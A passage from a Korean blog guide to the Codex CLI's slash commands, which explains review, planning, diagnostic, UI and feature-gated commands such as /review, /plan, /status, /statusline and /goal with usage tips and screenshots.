&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/diff&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 수정 전후 변경 의도 빠르게 검증.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/review &amp;mdash; 코드 리뷰 모드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 변경 또는 지정한 베이스 브랜치/커밋을 대상으로 코드 리뷰 흐름을 시작한다. 머지 직전 회귀&amp;middot;품질 리스크를 한 번 더 훑을 때 쓴다. CLI에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex review&lt;/code&gt; 서브커맨드로도 진입 가능하다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 병합 전 회귀&amp;middot;품질 리스크 집중 점검. 보안&amp;middot;성능&amp;middot;회귀&amp;middot;테스트 누락 등 관점을 명시하면 효과 상승.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 1.&amp;nbsp;Review&amp;nbsp;against&amp;nbsp;a&amp;nbsp;base&amp;nbsp;branch&amp;nbsp;&amp;nbsp;(PR&amp;nbsp;Style)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEtPDF/dJMcaffB25T/nDqnknxMDjsvc3yNfVddpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEtPDF/dJMcaffB25T/nDqnknxMDjsvc3yNfVddpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEtPDF/dJMcaffB25T/nDqnknxMDjsvc3yNfVddpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEtPDF%2FdJMcaffB25T%2FnDqnknxMDjsvc3yNfVddpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;658&quot; height=&quot;167&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;236&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 소스리뷰 base branch를 선택 하는 화면&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5o68v/dJMcabEeIv3/HAGVMg6FckbfNQp7ZFupW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5o68v/dJMcabEeIv3/HAGVMg6FckbfNQp7ZFupW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5o68v/dJMcabEeIv3/HAGVMg6FckbfNQp7ZFupW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5o68v%2FdJMcabEeIv3%2FHAGVMg6FckbfNQp7ZFupW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;456&quot; height=&quot;224&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) Review a commit&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 특정 커밋에 대한 리뷰&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;364&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m2apq/dJMcadPwP0i/jmINzPaktN6JbecAPsLC81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m2apq/dJMcadPwP0i/jmINzPaktN6JbecAPsLC81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m2apq/dJMcadPwP0i/jmINzPaktN6JbecAPsLC81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm2apq%2FdJMcadPwP0i%2FjmINzPaktN6JbecAPsLC81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1248&quot; height=&quot;364&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;364&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/plan &amp;mdash; 계획 모드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 코드를 고치는 대신 단계별 실행 계획을 먼저 짠다. 복잡한 변경에서 충돌&amp;middot;범위를 미리 식별할 수 있어 안전하다. 계획에 동의해야 다음 단계로 넘어간다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/plan&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 구현 전 단계&amp;middot;리스크를 구조화.&lt;/div&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;ex) shift + tab 으로 모드를 변경 가능하며 계획을 먼저 세우게 된다. (너무 간단한 내용은 바로 수행하기도 한다.)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwc05P/dJMcaiiUFC8/ZYpxuEGE2d16XmHE1q7WYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwc05P/dJMcaiiUFC8/ZYpxuEGE2d16XmHE1q7WYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwc05P/dJMcaiiUFC8/ZYpxuEGE2d16XmHE1q7WYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwc05P%2FdJMcaiiUFC8%2FZYpxuEGE2d16XmHE1q7WYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1302&quot; height=&quot;246&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 계획을 세워주며&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Iifo3/dJMcahRPR0B/dTZFmuCpErYFkF7EVrKsg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Iifo3/dJMcahRPR0B/dTZFmuCpErYFkF7EVrKsg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Iifo3/dJMcahRPR0B/dTZFmuCpErYFkF7EVrKsg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIifo3%2FdJMcahRPR0B%2FdTZFmuCpErYFkF7EVrKsg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;906&quot; height=&quot;206&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 해당 계획대로 수행할지, 쌓여있는 context를 비우고 수행할지, 플랜모드를 통해 계속 계획모드를 개선할지 등 선택 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLn48w/dJMb99M1nFa/tILWY6JHagRWOBFNdRallK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLn48w/dJMb99M1nFa/tILWY6JHagRWOBFNdRallK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLn48w/dJMb99M1nFa/tILWY6JHagRWOBFNdRallK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLn48w%2FdJMb99M1nFa%2FtILWY6JHagRWOBFNdRallK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;246&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 6 ===== --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 진단&amp;middot;디버그 (4개)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;왜 안 되지?&quot;가 들 때 가장 먼저 누르는 명령들이다. 보통 이 카테고리에서 답이 거의 다 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/status &amp;mdash; 현재 세션 상태 한눈에 보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델, 승인 정책, 샌드박스, 연결된 MCP 수, 토큰 사용량 같은 핵심 상태를 한 화면에 정리한다. 다른 사람과 환경을 비교하거나 이슈 리포트 쓸 때 첫 줄에 붙이기 좋은 자료다.&lt;/p&gt;
&lt;pre class=&quot;fortran&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/status&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 현재 모드&amp;middot;제약&amp;middot;연결 상태 빠르게 확인.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/debug-config &amp;mdash; 설정 레이어 진단&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전역&amp;middot;프로젝트&amp;middot;CLI 플래그가 어떻게 병합되어 현재 설정이 만들어졌는지 보여준다. &quot;내 config.toml이 제대로 읽히고 있나?&quot; 의심이 들면 가장 먼저 누른다. feature 플래그가 안 먹는 문제는 거의 다 여기서 답이 나온다.&lt;/p&gt;
&lt;pre class=&quot;lua&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/debug-config&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 설정 파일&amp;middot;프로필&amp;middot;환경변수 우선순위 충돌 확인. 오작동 원인 분리 진단 첫 번째 수단.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/feedback &amp;mdash; 로그와 함께 피드백 보내기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 세션 로그를 첨부해 Codex 팀에 의견&amp;middot;버그 리포트를 전송한다. 재현 단계를 직접 정리하지 않아도 로그가 자동 동봉되므로 작은 이상도 가볍게 보낼 수 있다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/feedback&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 사용성 불편&amp;middot;버그 체감 즉시 전달. 재현 단계(명령&amp;rarr;기대결과&amp;rarr;실제결과)를 포함해야 처리 속도 빠름.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/copy &amp;mdash; 마지막 출력 클립보드 복사&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방금 받은 마지막 응답을 클립보드로 옮긴다. v0.129.0에서 tmux passthrough 없이도 동작하도록 버그가 수정됐다(&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/releases/tag/rust-v0.129.0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v0.129.0 릴리즈 노트&lt;/a&gt;). 결과를 다른 문서로 옮기기 직전에 가장 가볍게 쓰는 명령이다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/copy&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; PR 템플릿&amp;middot;위키&amp;middot;이슈 본문으로 이동할 때 유용. 코드블록&amp;middot;링크 형식 깨짐 여부 붙여넣기 후 점검.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 7 ===== --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. UI&amp;middot;UX&amp;middot;테마 (4개)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TUI의 외관과 입력 환경을 손에 맞게 다듬는 명령들이다. 한 번 정한 뒤에는 잘 안 건드리지만, 처음에 맞춰 두면 장시간 작업 피로가 크게 줄어든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/theme &amp;mdash; 구문 강조 테마 선택&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 블록의 구문 강조 테마를 picker로 고른다. 터미널 배경이 어두운지 밝은지에 따라 가독성이 크게 달라지므로 OS 다크모드 전환 시 같이 바꾸는 것이 자연스럽다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/theme&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 장시간 작업 피로 줄이려 UI 대비 조정.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/title &amp;mdash; 터미널 창 제목 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널 창 또는 탭 제목을 설정한다. v0.128.0에서 활성 턴 중에도 편집할 수 있게 개선됐다. 여러 프로젝트 세션을 동시에 열어 둘 때 창 구분에 가장 유용하다.&lt;/p&gt;
&lt;pre class=&quot;dos&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/title&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 세션 목적이 드러나게 작업 제목 정리. &quot;레포-브랜치-목표&quot; 패턴(예: api-fix/1234-auth-timeout)으로 통일하면 검색&amp;middot;회고에 유리.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/statusline &amp;mdash; 상태 표시줄 구성 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;(v0.128.0~)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TUI 하단 상태 표시줄에 표시할 항목을 대화형으로 고른다. v0.129.0에서 테마 색상 추적과 PR 요약 세그먼트가 추가됐다. 브랜치명&amp;middot;작업 상태가 늘 눈에 띄게 둘 때 컨텍스트 상실이 줄어든다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/statusline&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 상태바 정보 밀도&amp;middot;표시 항목 튜닝. 승인 정책&amp;middot;샌드박스&amp;middot;모델명을 우선 노출하도록 설정하면 실수 예방.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/keymap &amp;mdash; 단축키 재매핑 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;(v0.128.0~)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TUI 키보드 단축키를 대화형으로 다시 잡는다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[tui.keymap.*]&lt;/code&gt; config 키와 동기화되며, TUI에서 즉시 변경하거나 config.toml에 영구 저장할 수 있다(부록 A 참고).&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/keymap&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 단축키 동작이 손에 안 맞을 때 조정. IDE 공통 단축키와 충돌 최소화 기준으로 설정 권장.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 8 ===== --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 게이트&amp;middot;조건부 명령 (4개)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 명령들은 특정 기능 스위치(feature 플래그)가 켜져 있어야만 popup에 표시된다. &quot;왜 내 화면엔 이 명령이 없지?&quot;라는 의문이 든다면, 명령이 없는 게 아니라 게이트 조건이 닫혀 있는 것이다. 각 명령 옆에 어떤 조건이 필요한지 함께 표기해뒀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/goal &amp;mdash; 세션 목표 설정 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;[게이트: features.goals = true]&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;긴 작업의 목표를 명시적으로 박아 두면 Codex가 응답마다 목표 정합성을 따져준다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/experimental&lt;/code&gt;에서 켜거나 config.toml에 직접 적는다. 설정&amp;middot;일시정지&amp;middot;재개&amp;middot;초기화를 모두 지원한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/goal &quot;feature X 구현 끝내고 회귀 없도록 머지&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 장기 작업 목표&amp;middot;진행 기준 명확히 고정.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 현재 정식 기능은 아닌고 실험적 기능이며 하기 글에 자세하게 리뷰해 두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/591&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex CLI /goal 사용방법 : 목표를 기억하고 스스로 이어가는 자율 루프 - /goal과 Ralph Loop 비교&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/personality &amp;mdash; 응답 톤 선택 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;[모델 의존]&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 톤을 friendly&amp;middot;pragmatic&amp;middot;none 중에서 고른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;config.toml 최상위 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;personality&lt;/code&gt; 키와 연동된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 중인 모델이 personality를 지원하지 않으면 popup에서 숨겨질 수 있다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/personality&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 답변 톤을 팀 규칙에 맞춰 고정. 리뷰 기준(근거 중심, 라인 인용 필수)도 함께 고정하면 실무 일관성 향상.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
